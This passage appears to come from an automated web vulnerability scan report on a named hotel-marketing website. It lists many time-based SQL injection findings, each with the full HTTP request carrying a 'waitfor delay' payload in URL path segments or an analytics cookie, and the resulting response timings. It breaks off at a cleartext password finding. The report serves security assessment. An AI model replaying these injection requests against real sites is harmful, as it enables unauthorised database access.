The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload 'waitfor%20delay'0%3a0%3a20'-- was submitted in the REST URL parameter 2. The application took 62125 milliseconds to respond to the request, compared with 1031 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /Profile/givingback.asp'waitfor%20delay'0%3a0%3a20'-- HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.cendyn.com/Profile/fact.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF; __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmc=91042184; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 15451
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 14:03:07 GMT

<!--include virtual="/accommodations/_ePresence/ePresence_Header_Scripts.asp"-->

<link rel="stylesheet" type="text/css" href="/accommodations/_css/styles1.css">

<head>
<meta http-equiv="Content
...[SNIP]...
2.34. http://www.cendyn.com/Profile/press.asp [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/press.asp

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload 'waitfor%20delay'0%3a0%3a20'-- was submitted in the REST URL parameter 1. The application took 41453 milliseconds to respond to the request, compared with 2094 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /Profile'waitfor%20delay'0%3a0%3a20'--/press.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.cendyn.com/Profile/ebooker.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 15451
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 14:02:05 GMT

<!--include virtual="/accommodations/_ePresence/ePresence_Header_Scripts.asp"-->

<link rel="stylesheet" type="text/css" href="/accommodations/_css/styles1.css">

<head>
<meta http-equiv="Content
...[SNIP]...
2.35. http://www.cendyn.com/Profile/press.asp [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/press.asp

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload 'waitfor%20delay'0%3a0%3a20'-- was submitted in the REST URL parameter 2. The application took 41438 milliseconds to respond to the request, compared with 2094 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /Profile/press.asp'waitfor%20delay'0%3a0%3a20'-- HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.cendyn.com/Profile/ebooker.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 15451
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 14:08:10 GMT

<!--include virtual="/accommodations/_ePresence/ePresence_Header_Scripts.asp"-->

<link rel="stylesheet" type="text/css" href="/accommodations/_css/styles1.css">

<head>
<meta http-equiv="Content
...[SNIP]...
2.36. http://www.cendyn.com/Profile/press.asp [__utma cookie]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/press.asp

Issue detail

The __utma cookie appears to be vulnerable to SQL injection attacks. The payload ',0)waitfor%20delay'0%3a0%3a20'-- was submitted in the __utma cookie. The application took 42672 milliseconds to respond to the request, compared with 2094 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /Profile/press.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.cendyn.com/Profile/ebooker.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1',0)waitfor%20delay'0%3a0%3a20'--; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 19225
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:50:10 GMT

<HTML>
<HEAD>

<title>Top Internet Advertising Agency: Cendyn Online Marketing Hotel Resort Casino Conference Center CVB Hospitality Tourism Travel Restaurants Website Design Search Engine SEO</tit
...[SNIP]...
2.37. http://www.cendyn.com/Profile/products.asp [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/products.asp

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload 'waitfor%20delay'0%3a0%3a20'-- was submitted in the REST URL parameter 1. The application took 25500 milliseconds to respond to the request, compared with 3641 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /Profile'waitfor%20delay'0%3a0%3a20'--/products.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.cendyn.com/Profile/index.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF; __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmc=91042184; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 15451
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:26:39 GMT

<!--include virtual="/accommodations/_ePresence/ePresence_Header_Scripts.asp"-->

<link rel="stylesheet" type="text/css" href="/accommodations/_css/styles1.css">

<head>
<meta http-equiv="Content
...[SNIP]...
2.38. http://www.cendyn.com/Profile/products.asp [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/products.asp

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload 'waitfor%20delay'0%3a0%3a20'-- was submitted in the REST URL parameter 2. The application took 80797 milliseconds to respond to the request, compared with 3641 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /Profile/products.asp'waitfor%20delay'0%3a0%3a20'-- HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.cendyn.com/Profile/index.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF; __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmc=91042184; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 15451
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:33:22 GMT

<!--include virtual="/accommodations/_ePresence/ePresence_Header_Scripts.asp"-->

<link rel="stylesheet" type="text/css" href="/accommodations/_css/styles1.css">

<head>
<meta http-equiv="Content
...[SNIP]...
2.39. http://www.cendyn.com/Profile/products.asp [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://www.cendyn.com
Path:   /Profile/products.asp

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /Profile/products.asp' HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.cendyn.com/Profile/eFolio.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response 1

HTTP/1.1 500 Internal Server Error
Date: Wed, 29 Sep 2010 14:06:13 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Content-Length: 4640
Content-Type: text/html
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<hea
...[SNIP]...

Request 2

GET /Profile/products.asp'' HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.cendyn.com/Profile/eFolio.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response 2

HTTP/1.1 302 Object moved
Date: Wed, 29 Sep 2010 14:06:14 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Location: /accommodations/
Content-Length: 137
Content-Type: text/html
Cache-control: private

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="/accommodations/">here</a>.</body>
2.40. http://www.cendyn.com/Scripts/AC_RunActiveContent.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Scripts/AC_RunActiveContent.js

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload 'waitfor%20delay'0%3a0%3a20'-- was submitted in the REST URL parameter 1. The application took 90687 milliseconds to respond to the request, compared with 1015 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /Scripts'waitfor%20delay'0%3a0%3a20'--/AC_RunActiveContent.js HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/index_3.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 15451
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 15:37:13 GMT

<!--include virtual="/accommodations/_ePresence/ePresence_Header_Scripts.asp"-->

<link rel="stylesheet" type="text/css" href="/accommodations/_css/styles1.css">

<head>
<meta http-equiv="Content
...[SNIP]...
2.41. http://www.cendyn.com/Scripts/AC_RunActiveContent.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://www.cendyn.com
Path:   /Scripts/AC_RunActiveContent.js

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /Scripts/AC_RunActiveContent.js' HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/index_3.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response 1

HTTP/1.1 500 Internal Server Error
Date: Wed, 29 Sep 2010 15:42:36 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Content-Length: 4640
Content-Type: text/html
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<hea
...[SNIP]...

Request 2

GET /Scripts/AC_RunActiveContent.js'' HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/index_3.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response 2

HTTP/1.1 302 Object moved
Date: Wed, 29 Sep 2010 15:42:43 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Location: /accommodations/
Content-Length: 137
Content-Type: text/html
Cache-control: private

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="/accommodations/">here</a>.</body>
2.42. http://www.cendyn.com/_javascript/ScriptForCareers.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /_javascript/ScriptForCareers.js

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload 'waitfor%20delay'0%3a0%3a20'-- was submitted in the REST URL parameter 1. The application took 21156 milliseconds to respond to the request, compared with 1000 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /_javascript'waitfor%20delay'0%3a0%3a20'--/ScriptForCareers.js HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Proxy-Connection: Keep-Alive
Host: www.cendyn.com

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 15451
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Set-Cookie: ASPSESSIONIDCACRSTCA=NJBFAGHBAMNDCHBMBKIDJBNI; path=/
Date: Wed, 29 Sep 2010 13:52:56 GMT

<!--include virtual="/accommodations/_ePresence/ePresence_Header_Scripts.asp"-->

<link rel="stylesheet" type="text/css" href="/accommodations/_css/styles1.css">

<head>
<meta http-equiv="Content
...[SNIP]...
2.43. http://www.cendyn.com/_javascript/ScriptForCareers.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://www.cendyn.com
Path:   /_javascript/ScriptForCareers.js

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 2, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /_javascript/ScriptForCareers.js' HTTP/1.1
Host: www.cendyn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.cendyn.com/Profile/careers.asp
Cookie: __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF; __utmb=91042184.1.10.1285766082;

Response 1

HTTP/1.1 500 Internal Server Error
Connection: close
Date: Wed, 29 Sep 2010 15:40:34 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Content-Length: 4640
Content-Type: text/html
Cache-control: private


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<hea
...[SNIP]...

Request 2

GET /_javascript/ScriptForCareers.js'' HTTP/1.1
Host: www.cendyn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.cendyn.com/Profile/careers.asp
Cookie: __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF; __utmb=91042184.1.10.1285766082;

Response 2

HTTP/1.1 302 Object moved
Connection: close
Date: Wed, 29 Sep 2010 15:40:39 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Location: /accommodations/
Content-Length: 137
Content-Type: text/html
Cache-control: private

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="/accommodations/">here</a>.</body>
2.44. http://www.cendyn.com/_javascript/ScriptForCareers.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /_javascript/ScriptForCareers.js

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload 'waitfor%20delay'0%3a0%3a20'-- was submitted in the REST URL parameter 2. The application took 21141 milliseconds to respond to the request, compared with 1000 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /_javascript/ScriptForCareers.js'waitfor%20delay'0%3a0%3a20'-- HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Proxy-Connection: Keep-Alive
Host: www.cendyn.com

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 15451
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Set-Cookie: ASPSESSIONIDCACRSTCA=GPBFAGHBMLPBIKBEOHPFOKBA; path=/
Date: Wed, 29 Sep 2010 13:54:46 GMT

<!--include virtual="/accommodations/_ePresence/ePresence_Header_Scripts.asp"-->

<link rel="stylesheet" type="text/css" href="/accommodations/_css/styles1.css">

<head>
<meta http-equiv="Content
...[SNIP]...
2.45. http://www.cendyn.com/_javascript/ScriptForContact.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /_javascript/ScriptForContact.js

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload 'waitfor%20delay'0%3a0%3a20'-- was submitted in the REST URL parameter 1. The application took 21140 milliseconds to respond to the request, compared with 1000 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /_javascript'waitfor%20delay'0%3a0%3a20'--/ScriptForContact.js HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Proxy-Connection: Keep-Alive
Host: www.cendyn.com

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 15451
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Set-Cookie: ASPSESSIONIDCACRSTCA=BKBFAGHBJGGINMLADNNKLJNN; path=/
Date: Wed, 29 Sep 2010 13:52:59 GMT

<!--include virtual="/accommodations/_ePresence/ePresence_Header_Scripts.asp"-->

<link rel="stylesheet" type="text/css" href="/accommodations/_css/styles1.css">

<head>
<meta http-equiv="Content
...[SNIP]...
2.46. http://www.cendyn.com/_javascript/ScriptForContact.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /_javascript/ScriptForContact.js

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload 'waitfor%20delay'0%3a0%3a20'-- was submitted in the REST URL parameter 2. The application took 21141 milliseconds to respond to the request, compared with 1000 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /_javascript/ScriptForContact.js'waitfor%20delay'0%3a0%3a20'-- HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Proxy-Connection: Keep-Alive
Host: www.cendyn.com

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 15451
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Set-Cookie: ASPSESSIONIDCACRSTCA=NPBFAGHBFJGPJLKGGEMODELJ; path=/
Date: Wed, 29 Sep 2010 13:54:49 GMT

<!--include virtual="/accommodations/_ePresence/ePresence_Header_Scripts.asp"-->

<link rel="stylesheet" type="text/css" href="/accommodations/_css/styles1.css">

<head>
<meta http-equiv="Content
...[SNIP]...
2.47. http://www.cendyn.com/_javascript/ieupdate.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /_javascript/ieupdate.js

Issue detail

The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. The payload 'waitfor%20delay'0%3a0%3a20'-- was submitted in the REST URL parameter 1. The application took 67313 milliseconds to respond to the request, compared with 0 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /_javascript'waitfor%20delay'0%3a0%3a20'--/ieupdate.js HTTP/1.1
Host: www.cendyn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.cendyn.com/
Cookie: __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF; __utmb=91042184.1.10.1285766082;

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 15451
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 15:34:12 GMT
Connection: close

<!--include virtual="/accommodations/_ePresence/ePresence_Header_Scripts.asp"-->

<link rel="stylesheet" type="text/css" href="/accommodations/_css/styles1.css">

<head>
<meta http-equiv="Content
...[SNIP]...
2.48. http://www.cendyn.com/_javascript/ieupdate.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /_javascript/ieupdate.js

Issue detail

The REST URL parameter 2 appears to be vulnerable to SQL injection attacks. The payload 'waitfor%20delay'0%3a0%3a20'-- was submitted in the REST URL parameter 2. The application took 48610 milliseconds to respond to the request, compared with 0 milliseconds for the original request, indicating that the injected SQL command caused a time delay.

The database appears to be Microsoft SQL Server.

Request

GET /_javascript/ieupdate.js'waitfor%20delay'0%3a0%3a20'-- HTTP/1.1
Host: www.cendyn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.cendyn.com/
Cookie: __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF; __utmb=91042184.1.10.1285766082;

Response (redirected)

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 15451
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 15:42:12 GMT
Connection: close

<!--include virtual="/accommodations/_ePresence/ePresence_Header_Scripts.asp"-->

<link rel="stylesheet" type="text/css" href="/accommodations/_css/styles1.css">

<head>
<meta http-equiv="Content
...[SNIP]...
3. Cleartext submission of password  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Timesheet/

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:The form contains the following password field:

Issue background

